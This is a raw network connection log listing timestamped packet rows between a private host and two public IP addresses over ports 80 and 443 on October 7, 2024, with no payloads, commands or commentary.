Oct 7, 2024 07:14:33.233593941 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.234105110 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.234139919 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.234165907 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.234181881 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.234200001 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.234210968 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.234306097 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.234343052 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.234359026 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.234368086 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.234384060 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.234399080 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.235006094 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.235050917 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.235097885 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.235112906 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.235136986 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.235146046 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.382016897 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.434581041 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.434602976 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.434621096 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.434639931 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.434655905 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.434669018 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.434669971 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.434689045 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.434705973 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.434708118 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.434721947 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.434736013 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.434837103 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.434854031 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.434876919 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.434889078 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.435478926 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.435523033 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.435570002 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.435586929 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.435612917 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.435625076 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.435695887 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.435712099 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.435739040 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.435753107 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.435760975 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.435822010 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.435837030 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.436444998 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.436475992 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.436491013 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.436491966 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.436503887 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.436520100 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.436624050 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.436640024 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.436655998 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.436671019 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.436674118 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.436696053 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.436706066 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.437401056 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.437454939 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.437475920 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.437491894 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.437520027 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.437603951 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.437619925 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.437637091 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.437645912 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.437655926 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.437659979 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.437675953 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.437689066 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.438395977 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.438441992 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.438456059 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.438472033 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.438491106 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.438509941 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.438601971 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.438616991 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.438632965 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.438651085 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.438654900 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.438671112 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.438685894 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.439369917 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.439402103 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.439419031 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.439445972 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.521631002 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.521760941 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.635880947 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.635917902 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.635934114 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.635956049 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.635982037 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636029005 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636044979 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636060953 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636069059 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636077881 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636096001 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636122942 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636199951 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636240959 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636266947 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636282921 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636353016 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636415958 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636430979 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636430979 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636446953 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636462927 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636466026 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636477947 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636507988 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636626959 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636641979 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636657000 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636674881 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.636676073 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636699915 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.636714935 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.637063026 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.637109995 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.637123108 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.637137890 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.637162924 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.637176037 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.637239933 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.637254953 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:33.637281895 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.637295961 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:33.795573950 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:33.795617104 CEST	443	49163	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:33.795676947 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:33.800892115 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:33.800904989 CEST	443	49163	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:34.761187077 CEST	443	49163	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:34.761284113 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:34.784064054 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:34.784085989 CEST	443	49163	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:34.785136938 CEST	443	49163	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:34.785207033 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:34.845592022 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:34.891401052 CEST	443	49163	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:35.364336967 CEST	443	49163	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:35.364476919 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:35.364485979 CEST	443	49163	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:35.364521027 CEST	443	49163	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:35.364562035 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:35.364562988 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:35.364581108 CEST	443	49163	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:35.364639997 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:35.367690086 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:35.367690086 CEST	49163	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:35.667697906 CEST	49164	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:35.667754889 CEST	443	49164	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:35.667814970 CEST	49164	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:35.668334007 CEST	49164	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:35.668351889 CEST	443	49164	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:36.657671928 CEST	443	49164	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:36.657733917 CEST	49164	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:36.661890030 CEST	49164	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:36.661942005 CEST	443	49164	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:36.662338972 CEST	443	49164	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:36.665178061 CEST	49164	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:36.711405039 CEST	443	49164	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:37.304371119 CEST	443	49164	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:37.304449081 CEST	443	49164	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:37.304524899 CEST	49164	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:37.304742098 CEST	49164	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:37.304791927 CEST	443	49164	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:37.304821968 CEST	49164	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:37.304837942 CEST	443	49164	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:38.045809984 CEST	80	49162	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:38.045897007 CEST	49162	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:40.513951063 CEST	49165	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:40.514004946 CEST	443	49165	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:40.514079094 CEST	49165	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:40.514740944 CEST	49165	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:40.514770031 CEST	443	49165	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:41.499428034 CEST	443	49165	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:41.499535084 CEST	49165	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:41.503402948 CEST	49165	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:41.503418922 CEST	443	49165	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:41.503865957 CEST	443	49165	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:41.517976046 CEST	49165	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:41.563425064 CEST	443	49165	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:42.105472088 CEST	443	49165	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:42.105530024 CEST	443	49165	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:42.105631113 CEST	49165	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:42.105664015 CEST	443	49165	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:42.106554985 CEST	49165	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:42.106611013 CEST	443	49165	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:42.106673002 CEST	49165	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:42.487791061 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:42.487844944 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:42.488018036 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:42.488399029 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:42.488429070 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:43.451314926 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:43.451399088 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:43.456593990 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:43.456610918 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:43.457122087 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:43.458129883 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:43.503396988 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:44.056030035 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:44.056124926 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:44.056226015 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:44.056246996 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:44.096824884 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:44.096997976 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:44.097038984 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:44.097167015 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:44.097626925 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:44.097686052 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:44.097723961 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:44.097790003 CEST	49166	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:44.097809076 CEST	443	49166	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:44.327620029 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:44.327686071 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:44.327769041 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:44.328043938 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:44.328068018 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:45.486315966 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:45.486687899 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:45.490555048 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:45.490587950 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:45.490988016 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:45.491930008 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:45.539405107 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:46.101699114 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:46.101788044 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:46.101866961 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:46.101928949 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:46.135941982 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:46.136053085 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:46.136094093 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:46.136239052 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:46.136353016 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:46.136425972 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:46.136454105 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:46.136483908 CEST	49167	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:46.136497974 CEST	443	49167	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:46.237323999 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:46.237437963 CEST	443	49168	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:46.237564087 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:46.237957954 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:46.237987995 CEST	443	49168	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:47.648732901 CEST	443	49168	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:47.648854017 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:47.657633066 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:47.657665968 CEST	443	49168	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:47.658071995 CEST	443	49168	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:47.658140898 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:47.671972036 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:47.715455055 CEST	443	49168	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:48.287447929 CEST	443	49168	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:48.287589073 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:48.287635088 CEST	443	49168	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:48.287661076 CEST	443	49168	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:48.287679911 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:48.287707090 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:48.319812059 CEST	49168	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:48.319849014 CEST	443	49168	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:48.439502001 CEST	49169	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:48.444726944 CEST	80	49169	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:48.444871902 CEST	49169	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:48.446644068 CEST	49169	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:48.451586962 CEST	80	49169	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:49.289314032 CEST	80	49169	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:49.289437056 CEST	49169	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:49.586257935 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:49.591331959 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:49.591449022 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:49.591789007 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:49.596561909 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643018961 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643079996 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643119097 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.643151045 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.643166065 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643201113 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643223047 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.643239021 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643250942 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.643273115 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643290997 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.643311977 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643347979 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.643349886 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643368959 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.643404007 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.643412113 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643449068 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643469095 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.643487930 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.643491983 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.643536091 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.691876888 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.877036095 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.877106905 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.877422094 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.877474070 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.877518892 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.877558947 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.877568960 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.877598047 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.877612114 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.877635002 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.877839088 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.877867937 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.877877951 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.877886057 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.877926111 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.877945900 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.877965927 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.877975941 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.877983093 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.877995968 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.878559113 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.878608942 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.878638029 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.878657103 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.878681898 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.878690958 CEST	49170	80	192.168.2.22	38.240.41.28
Oct 7, 2024 07:14:50.878725052 CEST	80	49170	38.240.41.28	192.168.2.22
Oct 7, 2024 07:14:50.878741980 CEST	80	49170	38.240.41.28	192.168.2.22
